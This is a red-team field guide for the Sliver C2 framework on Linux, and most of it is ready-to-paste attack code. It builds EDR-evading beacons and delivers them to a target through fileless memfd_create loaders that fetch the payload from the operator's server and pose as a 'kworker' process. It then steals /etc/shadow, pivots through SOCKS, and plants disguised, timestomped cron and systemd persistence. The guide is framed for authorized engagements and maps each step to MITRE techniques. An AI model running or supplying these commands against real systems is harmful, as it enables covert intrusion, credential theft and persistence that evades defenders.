1.2 Sliver C2 Linux
1.2 Sliver C2 Linux โ Operator's Field Guide
BLUF: Sliver is the go-to open-source C2 for Linux-focused red team ops. Go binary, single static ELF, mTLS/HTTPS/DNS transport, built-in sleep/jitter, and operator-grade kill dates. This guide covers installation, stealthy payload generation, business-hours scheduling, and fileless in-memory delivery.
Sections
๐ Ready-to-Use Setup ยท 1. Installation ยท 2. Beacon vs Session ยท 3. Stealthy Generation Flags ยท 4. Kill Dates & Scheduling ยท 5. Cron/systemd Wrapper for 0800 EST ยท 6. In-Memory Delivery via memfd_create ยท 7. Binary Hardening ยท 8. Listeners (HTTPS / DNS) ยท 9. Quick-Reference Cheat Sheet
Deep dives: 1.2.1 Sliver Profile Creation OPSEC ยท 1.2.2 Sliver Beacon Creation OPSEC
๐ Ready-to-Use Setup (Copy-Paste Deployment)
Replace these placeholders before running:
C2_IPโ your Sliver server's public IP or domainTARGET_IPโ compromised host IP (for reference)KILL_DATEโ engagement expiry in RFC3339 UTC, e.g.2025-12-31T23:59:59ZRun location: Sliver install, listener,
generate,profiles,implants, andjobscommands in this guide run on the backend Sliver server / C2 server. They are not run on the jump server. If you are using redirector infrastructure, the jump server only handles traffic forwarding and TLS fronting.
Step 1 โ Install Sliver on Your C2 Server (run once)
# Download latest release (run on YOUR attacker/C2 server as root)
LATEST=$(curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest | grep tag_name | cut -d '"' -f 4)
wget -q "https://github.com/BishopFox/sliver/releases/download/${LATEST}/sliver-server_linux-amd64" -O /usr/local/bin/sliver-server
wget -q "https://github.com/BishopFox/sliver/releases/download/${LATEST}/sliver-client_linux-amd64" -O /usr/local/bin/sliver
chmod +x /usr/local/bin/sliver-server /usr/local/bin/sliver
# Verify
sliver-server version
Step 2 โ Start Server & Listener (new tmux pane or screen session)
# Start Sliver server (keep this running)
sliver-server
# Inside the Sliver console โ start an HTTPS listener on 443
# (use mTLS on 8888 if you prefer, but HTTPS blends better)
https --lhost C2_IP --lport 443
# Confirm listener is up
jobs
# ID Name Protocol Port
# 1 https tcp 443
Step 3 โ Generate Stealthy Linux Beacon (inside Sliver console)
# Run this inside the sliver> console
generate beacon \
--http C2_IP:443 \
--os linux \
--arch amd64 \
--format exe \
--evasion \
--skip-symbols \
--seconds 3600 \
--jitter 600 \
--reconnect 60 \
--limit-datetime "KILL_DATE" \
--save /tmp/beacon.elf
# The file lands at /tmp/beacon.elf on your server
# Exit the console (Ctrl-D or 'exit') and return to shell to handle delivery
Step 4 โ Deliver & Execute on Target (choose one method)
Option A โ In-memory (no file on disk, preferred):
# On your C2 server: serve the beacon
python3 -m http.server 8080 --directory /tmp &
# On the TARGET (paste into your shell):
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
Option B โ File drop (simpler, leaves disk artifact):
# On target:
curl -s http://C2_IP:8080/beacon.elf -o /dev/shm/.update && chmod +x /dev/shm/.update && /dev/shm/.update &
Step 5 โ Confirm Callback (back in Sliver console)
# Re-enter the console
sliver-server
# List incoming beacons โ wait up to ~60s for first check-in
beacons
# [*] Beacon abc123 kworker ubuntu 192.168.1.50 linux/amd64 1h0m0s <1m
# Interact with the beacon
use abc123
# Run a quick sanity check
execute -o id
execute -o hostname
execute -o uname -a
# Promote to interactive session only when you need real-time interaction
interactive
# (remember to background it when done โ interactive sessions are noisy)
Step 6 โ First Actions Post-Callback
# โโ Inside beacon (commands are queued, run at next check-in) โโโโโโโโโโ
execute -o id # confirm user context
execute -o cat /etc/passwd | tail -5 # spot-check for other users
execute -o cat /proc/version # kernel version for priv-esc research
download /etc/shadow # grab shadow if root
socks5 start # pivot proxy if needed (port 1080)
# โโ If root โ set up persistence (cron launcher) โโโโโโโโโโโโโโโโโโโโโโ
# Copy beacon, schedule for 0800 EST (1300 UTC), kill at 1800 (2300 UTC)
upload /tmp/beacon.elf /usr/lib/systemd/.network-helper
execute -o chmod +x /usr/lib/systemd/.network-helper
execute -o bash -c "echo '0 13 * * 1-5 root pgrep -xf .network-helper>/dev/null||/usr/lib/systemd/.network-helper &' > /etc/cron.d/systemd-check"
execute -o bash -c "echo '0 23 * * 1-5 root pkill -xf .network-helper>/dev/null;true' >> /etc/cron.d/systemd-check"
execute -o touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check # timestomp
OPSEC: Kill the python HTTP server after delivery:
kill %1orpkill -f 'http.server 8080'. Don't leave staging servers running longer than needed.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1071.001 | Web Protocols (HTTPS) | Command & Control | HTTPS listener |
| T1071.004 | DNS | Command & Control | DNS C2 |
| T1095 | Non-Application Layer Protocol (mTLS) | Command & Control | mTLS listener |
| T1573.002 | Asymmetric Cryptography | Command & Control | mTLS mutual cert auth |
| T1027 | Obfuscated Files or Information | Defense Evasion | --skip-symbols, strip, UPX |
| T1620 | Reflective Code Loading | Defense Evasion | memfd_create in-memory exec |
| T1053.003 | Cron | Persistence / Execution | Business-hours launcher |
| T1543.002 | Systemd Service | Persistence | systemd timer launcher |
| T1070.006 | Timestomp | Defense Evasion | Timestomping beacon + cron files |
Section 1 โ Installation (Attacker/C2 Server)
# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
| grep "browser_download_url.*linux" \
| grep -v arm \
| cut -d '"' -f 4 \
| wget -qi -
# Binaries are named with architecture suffix (e.g. sliver-server_linux-amd64)
# Rename and make executable
chmod +x sliver-server_linux-amd64 && mv sliver-server_linux-amd64 /usr/local/bin/sliver-server
chmod +x sliver-client_linux-amd64 && mv sliver-client_linux-amd64 /usr/local/bin/sliver
# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make # requires Go 1.21+ (check go.mod for exact version), gcc, mingw-w64
# Output: sliver-server, sliver-client in ./
# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start
Section 2 โ Beacon vs Session: Which to Use
| Beacon | Session | |
|---|---|---|
| Connection | Periodic check-ins (sleep-based) | Persistent, always-on |
| Stealth | โ High โ looks like periodic web traffic | โ ๏ธ Low โ persistent connection is anomalous |
| Interactivity | Commands queued, executed on next check-in | Immediate response |
| When to use | Default for all ops โ stealth first | Interactive phases (priv-esc, lateral move) |
| Converting | interactive command promotes beacon โ session |
N/A |
Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.
Section 3 โ Stealthy Beacon Generation: All the Flags
# Full stealthy Linux beacon โ run inside the Sliver console
generate beacon \
--mtls YOUR_C2_IP:8888 \ # mTLS โ encrypted, mutual auth, ~looks like HTTPS
--os linux \ # target OS
--arch amd64 \ # or arm64 for cloud/IoT/Raspberry Pi
--format exe \ # exe=Linux executable (ELF), shared=.so, shellcode=raw bytes
--name "systemd-helper" \ # label in Sliver console (not process name on target)
--evasion \ # enable evasion: overwrites user-space hooks (unhooks EDR), indirect syscalls
--skip-symbols \ # skip symbol obfuscation step โ useful for faster builds / lower builder overhead
--seconds 3600 \ # sleep 3600s (1hr) between check-ins
--jitter 600 \ # add random 0โ600s on top of sleep (NOT a %)
--reconnect 60 \ # retry delay if C2 unreachable
--limit-datetime "2025-12-31T23:59:59Z" \ # KILL DATE โ RFC3339 UTC, implant exits after this
--limit-hostname webserver01 \ # only run if hostname matches exactly
--limit-username ubuntu \ # only run if username matches
--limit-fileexists /etc/ssh/sshd_config \ # only run if this file exists (confirms target)
--save /tmp/beacon.elf
# Verify the generated implant
implants # list all generated implants with config summary
Flag breakdown:
| Flag | Format / Value | What it does |
|---|---|---|
--evasion |
boolean | Enable evasion features: overwrites user-space hooks to unhook EDR, indirect syscalls |
--skip-symbols |
boolean | Skip symbol obfuscation during build |
--seconds / --minutes / --hours / --days |
int | Sleep interval components (additive) |
--jitter N |
int (seconds) | Max random addition to sleep โ flat 0โN seconds, not a % |
--reconnect N |
int (seconds) | Retry delay if C2 unreachable |
--limit-datetime |
RFC3339 string | Kill date โ implant exits after this UTC timestamp |
--limit-hostname |
string | Exact hostname match check at startup โ exits if mismatch |
--limit-username |
string | Exact username match check at startup |
--limit-fileexists |
path | File existence check โ confirms correct target before running |
--format |
exe / shared / shellcode |
exe = Linux executable (ELF), shared = .so, shellcode = raw bytes |
--name |
string | Console label only โ does NOT change process name on target |
Important:
--limit-datetimeis a kill date (expiry), not a schedule. Format: RFC3339 โ"2025-12-31T23:59:59Z"(UTC) or"2025-12-31T18:59:59-05:00"(with EST offset). The implant exits cleanly after this time. For time-of-day scheduling (e.g. 0800โ1800 M-F), use the cron/systemd wrapper in Section 5.
Section 4 โ Kill Dates & Scheduling: What Actually Works
Key fact: --limit-datetime is an engagement expiry / kill date, not a daily schedule. It answers "when does the implant stop?", not "when does it check in?"
# Correct --limit-datetime syntax: RFC3339 format
# UTC: YYYY-MM-DDTHH:MM:SSZ
# Offset: YYYY-MM-DDTHH:MM:SS-05:00 (EST = UTC-5)
# Example: beacon active until end of engagement
generate beacon \
--http YOUR_C2_IP:443 \
--os linux --arch amd64 --format exe \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \
--save /tmp/beacon_killdate.elf
# Example: short op โ implant dies at 1800 EST Friday
# 1800 EST = 2300 UTC
generate beacon \
--http YOUR_C2_IP:443 \
--os linux --arch amd64 --format exe \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-05T23:00:00Z" \
--save /tmp/beacon_shortop.elf
# Check target's timezone โ critical for offset math
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u
Timezone offset math:
| Target TZ | UTC Offset | 0800 local = UTC |
|---|---|---|
| EST (winter) | UTC-5 | 1300 UTC |
| EDT (summer) | UTC-4 | 1200 UTC |
| PST (winter) | UTC-8 | 1600 UTC |
| UTC (most servers) | UTC+0 | 0800 UTC |
Time-of-day control options:
| Technique | What it controls | Precision |
|---|---|---|
--limit-datetime "2025-12-31..." |
Expiry โ stop after this time | Engagement kill date only |
--seconds 86400 --jitter 3600 |
Sleep duration โ reduces frequency | No schedule, just spacing |
| Cron wrapper (Section 5) | Launch time + kill time | โ True daily schedule |
| systemd timer (Section 5) | Launch time with timezone support | โ True daily schedule |
Bottom line: Use
--limit-datetimefor kill dates. Use OS cron/systemd to control when the process runs. Combine both: cron handles 0800 launch,--limit-datetimehandles engagement expiry.
Section 5 โ Cron/systemd Wrapper: Launch at 0800 EST
This is the correct approach for time-of-day control. The beacon binary exists on disk but only runs during business hours โ minimising its EDR exposure window.
# Step 1: Generate beacon with engagement kill date (no artificial delay)
generate beacon \
--http YOUR_C2_IP:443 \
--os linux --arch amd64 --format exe \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-31T23:59:59Z" \
--save /tmp/beacon.elf
# Step 2: Transfer to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper
# Step 3: Create cron launcher (requires root)
# Convert 0800 EST โ UTC first (see offset table above)
# EST = UTC-5 โ 0800 EST = 1300 UTC โ cron hour = 13
# EDT = UTC-4 โ 0800 EDT = 1200 UTC โ cron hour = 12 (adjust in summer)
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Launch at 0800 EST (1300 UTC) โ only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &
# Kill at 1800 EST (2300 UTC) โ clean exit, nothing running overnight
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF
# Timestomp both files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper
systemd timer alternative (more legitimate-looking, supports native timezone):
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer
[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check
[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF
systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service
OPSEC: The beacon process doesn't exist overnight โ no ELF in memory, no
/procentry, no network socket. An EDR scanning for suspicious processes at 0200 finds nothing. The binary file on disk is the only artifact, and it's timestomped to blend with system files. The systemd timer usesOnCalendarwith a named timezone (America/New_York) โ systemd automatically handles EST/EDT transitions, so no manual adjustment when clocks change.
Section 6 โ In-Memory Delivery via memfd_create
Never write the beacon ELF to disk on the target. memfd_create executes it purely from memory โ no file, no inode, nothing for forensics.
# Serve the payload from your C2 (or any HTTPS server you control)
python3 -m http.server 8080 --directory /tmp/payloads &
# On the TARGET โ download and exec in-memory, no disk write
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# Process appears in 'ps' as 'kworker' โ matches kernel thread naming
# No ELF on disk. /tmp, /dev/shm, and the filesystem are clean.
Base64 variant โ no outbound HTTP from target:
# On attacker machine:
base64 -w0 beacon.elf > beacon.b64
cat beacon.b64 # copy the output
# On target โ paste the base64 string, zero disk writes, zero fetches:
python3 -c "
import os, base64
b64 = 'AAAA...PASTE_BASE64_HERE...'
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
Pick a realistic process name:
# Check real kernel threads on the target โ mimic naming exactly
ps aux | grep "\[kworker" | head -5
# Real examples: [kworker/0:1H], [kworker/u4:2]
# Use 'kworker' or 'kswapd0' or 'ksoftirqd/0' depending on what's running
OPSEC: The process appears in
/proc/PID/exeas/memfd:kworker (deleted)โ a known IOC that advanced EDRs flag (Falco rule:spawned_process_using_memfd). This is a stealth improvement over a file on disk, but not invisible. For maximum stealth, pre-stage the beacon in/dev/shmvia a legitimate-looking process rather than fetching it at runtime. TheMFD_CLOEXECflag ensures the fd is closed on any exec() calls made by the beacon itself.
Section 7 โ Binary Hardening: Strip + UPX
After generating the ELF, optionally harden it on your attacker machine before delivery:
# Step 1: Strip remaining symbols (belt-and-suspenders with --skip-symbols)
strip --strip-all beacon.elf
ls -lh beacon.elf # confirm size reduction
# Step 2: Check for Sliver-identifiable strings
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# Any hits โ rebuild from source with garble:
# go install mvdan.cc/garble@latest
# then add --garble flag to generate command
# Step 3: UPX compression (optional โ test in lab first)
# Reduces file size, breaks naive static signatures
# WARNING: UPX-packed binaries are flagged by some EDRs โ test before use
upx --best --lzma beacon.elf # max compression
upx -d beacon.elf # decompress if needed
file beacon.elf # verify still valid ELF
# Step 4: Final verification โ run in lab VM, confirm C2 callback
./beacon.elf # test in isolated lab matching target OS/arch
Section 8 โ Listeners: HTTPS & DNS
# โโ HTTPS listener (port 443 โ blends with web traffic) โโโโโโโโโโโโโโโโ
https --lhost YOUR_C2_IP --lport 443
jobs # confirm listener is running
# Generate HTTPS beacon
generate beacon \
--http YOUR_C2_IP:443 \
--os linux --arch amd64 --format exe \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \
--save /tmp/beacon_https.elf
# โโ DNS listener (traverses most firewalls, very stealthy) โโโโโโโโโโโโโ
# Prerequisites (DNS delegation setup):
# 1. Own a domain (e.g., yourc2domain.com)
# 2. Create an A record: ns1.yourc2domain.com โ YOUR_C2_IP
# 3. Create an NS record: c2.yourc2domain.com โ ns1.yourc2domain.com
# (delegates the c2 subdomain to your server as the authoritative NS)
# Then use c2.yourc2domain.com (NOT the root domain) as the --dns target
dns --domains c2.yourc2domain.com
jobs # confirm DNS listener
generate beacon \
--dns c2.yourc2domain.com \
--os linux --arch amd64 --format exe \
--seconds 7200 --jitter 1800 \ # slow โ DNS is throttled by design
--limit-datetime "2025-12-31T23:59:59Z" \
--save /tmp/beacon_dns.elf
# DNS is very slow (exfil via DNS TXT/A records) but traverses port-blocking firewalls
# and outbound proxies. Use for environments with strict egress control.
# โโ mTLS listener (most secure, port 8888 by default) โโโโโโโโโโโโโโโโโ
mtls --lport 8888
# mTLS: mutual certificate authentication โ both sides verify each other
# Each generated implant gets a unique certificate baked in at compile time
# Best for internal networks or when you control the network path
Section 9 โ Quick-Reference Cheat Sheet
# โโ Server management โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
sliver-server # start interactive console
sliver-server daemon & # start as background daemon
jobs # list active listeners
mtls --lport 8888 # start mTLS listener
https --lport 443 # start HTTPS listener
dns --domains c2.domain.com # start DNS listener (subdomain delegated via NS record)
# โโ Implant generation โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
generate beacon --os linux --arch amd64 --format exe --http IP:443 \
--evasion --skip-symbols --seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" --save /tmp/beacon.elf
implants # list all generated implants + config
profiles # list saved profiles
# Save a reusable profile
profiles new beacon \
--http C2_IP:443 --os linux --arch amd64 --format exe \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \
linux-stealth
profiles generate --save /tmp/ linux-stealth # generate from profile
# โโ Beacon & session management โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
beacons # list active beacons + last/next check-in
sessions # list active sessions
use <ID> # select beacon or session to interact with
background # return to main console
# โโ Beacon interaction โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
info # beacon config: interval, jitter, OS, PID, C2
tasks # list queued/completed tasks
interactive # promote beacon โ live interactive session
# โโ In-session commands (Linux) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
ls / pwd / cd <path> # filesystem navigation
download /etc/shadow # exfil file โ saved locally on C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id # run command, capture stdout
shell # drop to interactive shell (NOISY โ use sparingly)
socks5 start # SOCKS5 proxy through this implant
portfwd add -r TARGET:22 -b 127.0.0.1:2222 # local port forward to target
getenv / setenv KEY=VAL # read/write environment variables
screenshot # desktop screenshot (GUI targets)
procdump --pid <PID> # memory dump a process
Resources
| Resource | Type | Relevance |
|---|---|---|
| BishopFox/sliver | Tool | Official Sliver repo |
| Sliver Docs | Reference | Official documentation |
| Learning Sliver C2 โ Beacons & Sessions | Tutorial | Beacon vs session deep dive |
| Sliver C2 Usage for Red Teams | Tutorial | Operator guide with examples |
| Sliver + memfd_create | Tutorial | Fileless delivery via memfd_create |
| Mastering OSEP with Sliver | Tutorial | Advanced evasion with Sliver |
| Sliver Evasion (bytebl33d) | Tutorial | AV evasion techniques |
| Sliver Cheat Sheet (benjitrapp) | Reference | Quick command reference |
Part of the Red Teaming 101 series. Companion to 1.1 Linux deep dive ยท Deep dives: 1.2.1 Sliver Profile Creation OPSEC ยท 1.2.2 Sliver Beacon Creation OPSEC ยท Next: 1.3 Sliver C2 Windows